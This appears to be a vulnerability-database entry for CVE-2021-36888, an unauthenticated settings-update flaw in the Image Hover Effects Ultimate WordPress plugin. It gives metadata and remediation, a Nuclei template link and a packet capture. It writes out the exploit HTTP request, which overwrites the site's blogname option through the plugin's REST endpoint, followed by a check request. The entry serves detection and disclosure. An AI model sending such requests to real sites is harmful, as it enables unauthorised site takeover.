| Title | WordPress Image Hover Ultimate - Unauthenticated Settings Update |
|---|---|
| Author | riteshs4hu |
| Severity | Critical |
| Impact | Attackers can fully compromise the website, leading to complete control and potential data theft or defacement. |
| Remediation | Update to the latest version of the plugin, newer than 9.6.1. |
| CVSS Score | 9.8 |
| EPSS Score | 0.7332 |
| CVE ID | CVE-2021-36888 |
| CWE ID | CWE-284 |
| Tags | cve cve2021 wpscan wp-plugin wordpress imagehover intrusive unauth vkev |
Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.
POST /wp-json/ImageHoverUltimate/v1/oxi_settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Connection: close
Content-Length: 91
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%2238FLxy8IjP6IN2wKTevy6nlLme2%22%7D
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/16.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36888.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-36888.pcap
N/AN/A